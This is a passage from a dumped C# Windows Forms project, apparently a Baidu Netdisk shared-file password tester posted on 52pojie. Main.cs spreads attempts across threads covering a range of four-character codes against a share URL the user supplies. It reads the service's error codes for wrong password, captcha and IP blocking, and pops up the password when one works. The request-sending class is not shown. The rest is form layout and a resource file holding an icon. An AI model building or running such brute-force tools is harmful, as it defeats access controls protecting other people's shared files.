this.txt_jsd.AutoSize = true;\r\n            this.txt_jsd.Location = new System.Drawing.Point(15, 128);\r\n            this.txt_jsd.Name = \"txt_jsd\";\r\n            this.txt_jsd.Size = new System.Drawing.Size(77, 12);\r\n            this.txt_jsd.TabIndex = 3;\r\n            this.txt_jsd.Text = \"密码结束点：\";\r\n            // \r\n            // txt_ksd\r\n            // \r\n            this.txt_ksd.AutoSize = true;\r\n            this.txt_ksd.Location = new System.Drawing.Point(15, 93);\r\n            this.txt_ksd.Name = \"txt_ksd\";\r\n            this.txt_ksd.Size = new System.Drawing.Size(77, 12);\r\n            this.txt_ksd.TabIndex = 2;\r\n            this.txt_ksd.Text = \"密码开始点：\";\r\n            // \r\n            // txt_ts\r\n            // \r\n            this.txt_ts.ForeColor = System.Drawing.Color.Red;\r\n            this.txt_ts.Location = new System.Drawing.Point(12, 209);\r\n            this.txt_ts.Name = \"txt_ts\";\r\n            this.txt_ts.Size = new System.Drawing.Size(460, 25);\r\n            this.txt_ts.TabIndex = 4;\r\n            this.txt_ts.Text = \"提示文本\";\r\n            // \r\n            // Main\r\n            // \r\n            this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);\r\n            this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;\r\n            this.ClientSize = new System.Drawing.Size(484, 241);\r\n            this.Controls.Add(this.txt_ts);\r\n            this.Controls.Add(this.gb_1);\r\n            this.Controls.Add(this.text_url);\r\n            this.Controls.Add(this.txt_url);\r\n            this.Controls.Add(this.btn);\r\n            this.Icon = ((System.Drawing.Icon)(resources.GetObject(\"$this.Icon\")));\r\n            this.MaximizeBox = false;\r\n            this.MaximumSize = new System.Drawing.Size(500, 280);\r\n            this.MinimizeBox = false;\r\n            this.MinimumSize = new System.Drawing.Size(500, 280);\r\n            this.Name = \"Main\";\r\n            this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;\r\n            this.Text = \"百度网盘分享文件密码测试器 —By：52pojie(zgcwkj)\";\r\n            this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.Main_FormClosing);\r\n            this.Load += new System.EventHandler(this.Main_Load);\r\n            this.gb_1.ResumeLayout(false);\r\n            this.gb_1.PerformLayout();\r\n            this.ResumeLayout(false);\r\n            this.PerformLayout();\r\n\r\n        }\r\n\r\n        #endregion\r\n\r\n        private System.Windows.Forms.Button btn;\r\n        private System.Windows.Forms.Label txt_url;\r\n        private System.Windows.Forms.TextBox text_url;\r\n        private System.Windows.Forms.GroupBox gb_1;\r\n        private System.Windows.Forms.Label txt_ksd;\r\n        private System.Windows.Forms.Label txt_jsd;\r\n        private System.Windows.Forms.TextBox text_jsd;\r\n        private System.Windows.Forms.TextBox text_ksd;\r\n        private System.Windows.Forms.TextBox text_zxsd;\r\n        private System.Windows.Forms.TextBox text_xczs;\r\n        private System.Windows.Forms.Label txt_zxsd;\r\n        private System.Windows.Forms.Label txt_xczs;\r\n        private System.Windows.Forms.Label txt_ts;\r\n    }\r\n}\r\n\r\n"
  },
  {
    "path": "TestPassword V1.0.0.0/TestPassword/Main.cs",
    "content": "﻿using System;\r\nusing System.IO;\r\nusing System.Timers;\r\nusing System.Windows.Forms;\r\n\r\nnamespace zgcwkj\r\n{\r\n    public partial class Main : Form\r\n    {\r\n        public Main()\r\n        {\r\n            InitializeComponent();\r\n        }\r\n        private void Main_Load(object sender, EventArgs e)\r\n        {\r\n            if (!File.Exists(\"Configuration.ini\")) File.AppendAllText(\"Configuration.ini\", \"|100|200|0000|zzzz\");\r\n            string[] Configuration = File.ReadAllText(\"Configuration.ini\").Split('|');\r\n            text_url.Text = Configuration[0];\r\n            text_xczs.Text = Configuration[1];\r\n            text_zxsd.Text = Configuration[2];\r\n            text_ksd.Text = Configuration[3];\r\n            text_jsd.Text = Configuration[4];\r\n        }\r\n        private void Main_FormClosing(object sender, FormClosingEventArgs e)\r\n        {\r\n            File.Delete(\"Configuration.ini\");\r\n            File.AppendAllText(\"Configuration.ini\", text_url.Text + \"|\" + text_xczs.Text + \"|\" + text_zxsd.Text + \"|\" + text_ksd.Text + \"|\" + text_jsd.Text);\r\n        }\r\n        private void btn_Click(object sender, EventArgs e)//启动按钮\r\n        {\r\n            if (text_url.Text == \"\") { MessageBox.Show(\"啥也没输入呢！\"); return; }//防止空文本也执行\r\n\r\n            StaticClass.Folder = DateTime.Now.ToString(\"yyyyMMddHHmmss\");//用时间达到随机名称功能\r\n            if (!File.Exists(StaticClass.Folder + \".ini\")) File.AppendAllText(StaticClass.Folder + \".ini\", \"时间：\" + StaticClass.Folder + \"，目标连接：\" + text_url.Text + \"\\r\\n\");\r\n\r\n            int start = Hash.Str2Hash(text_ksd.Text);\r\n            int end = Hash.Str2Hash(text_jsd.Text);\r\n            int total = end - start + 1;//尝试的总数\r\n            int section = total / Convert.ToInt32(text_xczs.Text);//线程的次数\r\n\r\n            gb_1.Text = \"一共要尝试\" + total + \"次密码\";\r\n            enabled(false);\r\n            StaticClass.status = false;\r\n            StaticClass.url = text_url.Text.Trim();\r\n\r\n            for (int i = 1; i <= Convert.ToInt32(text_xczs.Text); i++)\r\n            {\r\n                new GoFind(this, start + section * (i - 1), start + section * i, Convert.ToInt32(text_zxsd.Text));\r\n            }\r\n            text_ksd.Text = text_jsd.Text;\r\n        }\r\n        delegate void Modifystr(string str1, string str2);//委托进行显示数据\r\n        public void ModifyStr(string str1, string str2)//委托进行显示数据\r\n        {\r\n            if (InvokeRequired)\r\n            {\r\n                Modifystr stcb = new Modifystr(ModifyStr);\r\n                Invoke(stcb, new object[] { str1, str2 });\r\n            }\r\n            else\r\n            {\r\n                txt_ts.Text = str1 + \"》正在尝试：\" + str2;\r\n                File.AppendAllText(StaticClass.Folder + \".ini\", txt_ts.Text + \"\\r\\n\");\r\n                if (str1.Contains(\"\\\"errno\\\":-9\"))//密码错误\r\n                {\r\n\r\n                }\r\n                else if (str1.Contains(\"\\\"errno\\\":0\"))//密码正常\r\n                {\r\n                    enabled(true);\r\n                    StaticClass.status = true;\r\n                    MessageBox.Show(\"密码是：\" + str2);\r\n                }\r\n                else if (str1.Contains(\"\\\"errno\\\":-62\"))//要输入验证码\r\n                {\r\n\r\n                }\r\n                else if (str1.Contains(\"404\"))//拒绝访问\r\n                {\r\n                    enabled(true);\r\n                    StaticClass.status = true;\r\n                    MessageBox.Show(\"你的IP被拒绝访问，请稍后重试\");\r\n                }\r\n                else { }//未知错误\r\n            }\r\n        }\r\n        private void _KeyPress(object sender, KeyPressEventArgs e)//限制输入\r\n        {\r\n            if ((Keys)e.KeyChar >= Keys.D0 && (Keys)e.KeyChar <= Keys.D9 || (Keys)e.KeyChar == Keys.Back) { } else e.Handled = true;\r\n        }\r\n        public void enabled(bool b)//启用或禁用控件\r\n        {\r\n            gb_1.Enabled = btn.Enabled = b;\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "TestPassword V1.0.0.0/TestPassword/Main.resx",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n<root>\r\n  <!-- \r\n    Microsoft ResX Schema \r\n    \r\n    Version 2.0\r\n    \r\n    The primary goals of this format is to allow a simple XML format \r\n    that is mostly human readable. The generation and parsing of the \r\n    various data types are done through the TypeConverter classes \r\n    associated with the data types.\r\n    \r\n    Example:\r\n    \r\n    ... ado.net/XML headers & schema ...\r\n    <resheader name=\"resmimetype\">text/microsoft-resx</resheader>\r\n    <resheader name=\"version\">2.0</resheader>\r\n    <resheader name=\"reader\">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>\r\n    <resheader name=\"writer\">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>\r\n    <data name=\"Name1\"><value>this is my long string</value><comment>this is a comment</comment></data>\r\n    <data name=\"Color1\" type=\"System.Drawing.Color, System.Drawing\">Blue</data>\r\n    <data name=\"Bitmap1\" mimetype=\"application/x-microsoft.net.object.binary.base64\">\r\n        <value>[base64 mime encoded serialized .NET Framework object]</value>\r\n    </data>\r\n    <data name=\"Icon1\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\r\n        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>\r\n        <comment>This is a comment</comment>\r\n    </data>\r\n                \r\n    There are any number of \"resheader\" rows that contain simple \r\n    name/value pairs.\r\n    \r\n    Each data row contains a name, and value. The row also contains a \r\n    type or mimetype. Type corresponds to a .NET class that support \r\n    text/value conversion through the TypeConverter architecture. \r\n    Classes that don't support this are serialized and stored with the \r\n    mimetype set.\r\n    \r\n    The mimetype is used for serialized objects, and tells the \r\n    ResXResourceReader how to depersist the object. This is currently not \r\n    extensible. For a given mimetype the value must be set accordingly:\r\n    \r\n    Note - application/x-microsoft.net.object.binary.base64 is the format \r\n    that the ResXResourceWriter will generate, however the reader can \r\n    read any of the formats listed below.\r\n    \r\n    mimetype: application/x-microsoft.net.object.binary.base64\r\n    value   : The object must be serialized with \r\n            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\r\n            : and then encoded with base64 encoding.\r\n    \r\n    mimetype: application/x-microsoft.net.object.soap.base64\r\n    value   : The object must be serialized with \r\n            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter\r\n            : and then encoded with base64 encoding.\r\n\r\n    mimetype: application/x-microsoft.net.object.bytearray.base64\r\n    value   : The object must be serialized into a byte array \r\n            : using a System.ComponentModel.TypeConverter\r\n            : and then encoded with base64 encoding.\r\n    -->\r\n  <xsd:schema id=\"root\" xmlns=\"\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\">\r\n    <xsd:import namespace=\"http://www.w3.org/XML/1998/namespace\" />\r\n    <xsd:element name=\"root\" msdata:IsDataSet=\"true\">\r\n      <xsd:complexType>\r\n        <xsd:choice maxOccurs=\"unbounded\">\r\n          <xsd:element name=\"metadata\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" use=\"required\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"type\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" />\r\n              <xsd:attribute ref=\"xml:space\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"assembly\">\r\n            <xsd:complexType>\r\n              <xsd:attribute name=\"alias\" type=\"xsd:string\" />\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"data\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\r\n                <xsd:element name=\"comment\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"2\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" msdata:Ordinal=\"1\" />\r\n              <xsd:attribute name=\"type\" type=\"xsd:string\" msdata:Ordinal=\"3\" />\r\n              <xsd:attribute name=\"mimetype\" type=\"xsd:string\" msdata:Ordinal=\"4\" />\r\n              <xsd:attribute ref=\"xml:space\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n          <xsd:element name=\"resheader\">\r\n            <xsd:complexType>\r\n              <xsd:sequence>\r\n                <xsd:element name=\"value\" type=\"xsd:string\" minOccurs=\"0\" msdata:Ordinal=\"1\" />\r\n              </xsd:sequence>\r\n              <xsd:attribute name=\"name\" type=\"xsd:string\" use=\"required\" />\r\n            </xsd:complexType>\r\n          </xsd:element>\r\n        </xsd:choice>\r\n      </xsd:complexType>\r\n    </xsd:element>\r\n  </xsd:schema>\r\n  <resheader name=\"resmimetype\">\r\n    <value>text/microsoft-resx</value>\r\n  </resheader>\r\n  <resheader name=\"version\">\r\n    <value>2.0</value>\r\n  </resheader>\r\n  <resheader name=\"reader\">\r\n    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\r\n  </resheader>\r\n  <resheader name=\"writer\">\r\n    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>\r\n  </resheader>\r\n  <assembly alias=\"System.Drawing\" name=\"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a\" />\r\n  <data name=\"$this.Icon\" type=\"System.Drawing.Icon, System.Drawing\" mimetype=\"application/x-microsoft.net.object.bytearray.base64\">\r\n    <value>\r\n        AAABAAEAAAAAAAEAIADXfQAAFgAAAIlQTkcNChoKAAAADUlIRFIAAAEAAAABAAgGAAAAXHKoZgAAAAlw\r\n        SFlzAAALEwAACxMBAJqcGAAAOe5pVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdp\r\n        bj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+Cjx4OnhtcG1ldGEgeG1sbnM6eD0i\r\n        YWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMTM4IDc5LjE1OTgyNCwg\r\n        MjAxNi8wOS8xNC0wMTowOTowMSAgICAgICAgIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8v\r\n        d3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlv\r\n        biByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hh\r\n        cC8xLjAvIgogICAgICAgICAgICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEu\r\n        MS8iCiAgICAgICAgICAgIHhtbG5zOnBob3Rvc2hvcD0iaHR0cDovL25zLmFkb2JlLmNvbS9waG90b3No\r\n        b3AvMS4wLyIKICAgICAgICAgICAgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEu\r\n        MC9tbS8iCiAgICAgICAgICAgIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAv\r\n        c1R5cGUvUmVzb3VyY2VFdmVudCMiCiAgICAgICAgICAgIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9i\r\n        ZS5jb20vdGlmZi8xLjAvIgogICAgICAgICAgICB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29t\r\n        L2V4aWYvMS4wLyI+CiAgICAgICAgIDx4bXA6Q3JlYXRvclRvb2w+QWRvYmUgUGhvdG9zaG9wIENDIDIw\r\n        MTcgKFdpbmRvd3MpPC94bXA6Q3JlYXRvclRvb2w+CiAgICAgICAgIDx4bXA6Q3JlYXRlRGF0ZT4yMDE3\r\n        LTEyLTI4VDExOjE4OjI5KzA4OjAwPC94bXA6Q3JlYXRlRGF0ZT4KICAgICAgICAgPHhtcDpNb2RpZnlE\r\n        YXRlPjIwMTctMTItMjhUMTE6MjI6MTYrMDg6MDA8L3htcDpNb2RpZnlEYXRlPgogICAgICAgICA8eG1w\r\n        Ok1ldGFkYXRhRGF0ZT4yMDE3LTEyLTI4VDExOjIyOjE2KzA4OjAwPC94bXA6TWV0YWRhdGFEYXRlPgog\r\n        ICAgICAgICA8ZGM6Zm9ybWF0PmltYWdlL3BuZzwvZGM6Zm9ybWF0PgogICAgICAgICA8cGhvdG9zaG9w\r\n        OkNvbG9yTW9kZT4zPC9waG90b3Nob3A6Q29sb3JNb2RlPgogICAgICAgICA8eG1wTU06SW5zdGFuY2VJ\r\n        RD54bXAuaWlkOjA5MjQ3MDk1LWVkMTItZjg0NS04OWU1LWQwYjg5YmFkNTMyMDwveG1wTU06SW5zdGFu\r\n        Y2VJRD4KICAgICAgICAgPHhtcE1NOkRvY3VtZW50SUQ+YWRvYmU6ZG9jaWQ6cGhvdG9zaG9wOjQyYTRl\r\n        YzRkLWViN2UtMTFlNy04MjNjLWRkYjI5ZTNjOGY5YTwveG1wTU06RG9jdW1lbnRJRD4KICAgICAgICAg\r\n        PHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD54bXAuZGlkOjY2MTA3MzA5LWJhZmYtMzE0ZC1iNTU3LWUw\r\n        MTVlMWQyYjYzMzwveG1wTU06T3JpZ2luYWxEb2N1bWVudElEPgogICAgICAgICA8eG1wTU06SGlzdG9y\r\n        eT4KICAgICAgICAgICAgPHJkZjpTZXE+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlw\r\n        ZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPmNyZWF0ZWQ8L3N0RXZ0\r\n        OmFjdGlvbj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0Omluc3RhbmNlSUQ+eG1wLmlpZDo2NjEwNzMw\r\n        OS1iYWZmLTMxNGQtYjU1Ny1lMDE1ZTFkMmI2MzM8L3N0RXZ0Omluc3RhbmNlSUQ+CiAgICAgICAgICAg\r\n        ICAgICAgIDxzdEV2dDp3aGVuPjIwMTctMTItMjhUMTE6MTg6MjkrMDg6MDA8L3N0RXZ0OndoZW4+CiAg\r\n        ICAgICAgICAgICAgICAgIDxzdEV2dDpzb2Z0d2FyZUFnZW50PkFkb2JlIFBob3Rvc2hvcCBDQyAyMDE3\r\n        IChXaW5kb3dzKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAg\r\n        ICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAg\r\n        ICAgICA8c3RFdnQ6YWN0aW9uPnNhdmVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxz\r\n        dEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6MDkyNDcwOTUtZWQxMi1mODQ1LTg5ZTUtZDBiODliYWQ1MzIw\r\n        PC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE3LTEyLTI4\r\n        VDExOjIyOjE2KzA4OjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdh\r\n        cmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNyAoV2luZG93cyk8L3N0RXZ0OnNvZnR3YXJlQWdl\r\n        bnQ+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDpjaGFuZ2VkPi88L3N0RXZ0OmNoYW5nZWQ+CiAgICAg\r\n        ICAgICAgICAgIDwvcmRmOmxpPgogICAgICAgICAgICA8L3JkZjpTZXE+CiAgICAgICAgIDwveG1wTU06\r\n        SGlzdG9yeT4KICAgICAgICAgPHRpZmY6T3JpZW50YXRpb24+MTwvdGlmZjpPcmllbnRhdGlvbj4KICAg\r\n        ICAgICAgPHRpZmY6WFJlc29sdXRpb24+NzIwMDAwLzEwMDAwPC90aWZmOlhSZXNvbHV0aW9uPgogICAg\r\n        ICAgICA8dGlmZjpZUmVzb2x1dGlvbj43MjAwMDAvMTAwMDA8L3RpZmY6WVJlc29sdXRpb24+CiAgICAg\r\n        ICAgIDx0aWZmOlJlc29sdXRpb25Vbml0PjI8L3RpZmY6UmVzb2x1dGlvblVuaXQ+CiAgICAgICAgIDxl\r\n        eGlmOkNvbG9yU3BhY2U+NjU1MzU8L2V4aWY6Q29sb3JTcGFjZT4KICAgICAgICAgPGV4aWY6UGl4ZWxY\r\n        RGltZW5zaW9uPjI1NjwvZXhpZjpQaXhlbFhEaW1lbnNpb24+CiAgICAgICAgIDxleGlmOlBpeGVsWURp\r\n        bWVuc2lvbj4yNTY8L2V4aWY6UGl4ZWxZRGltZW5zaW9uPgogICAgICA8L3JkZjpEZXNjcmlwdGlvbj4K\r\n        ICAgPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        ICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg\r\n        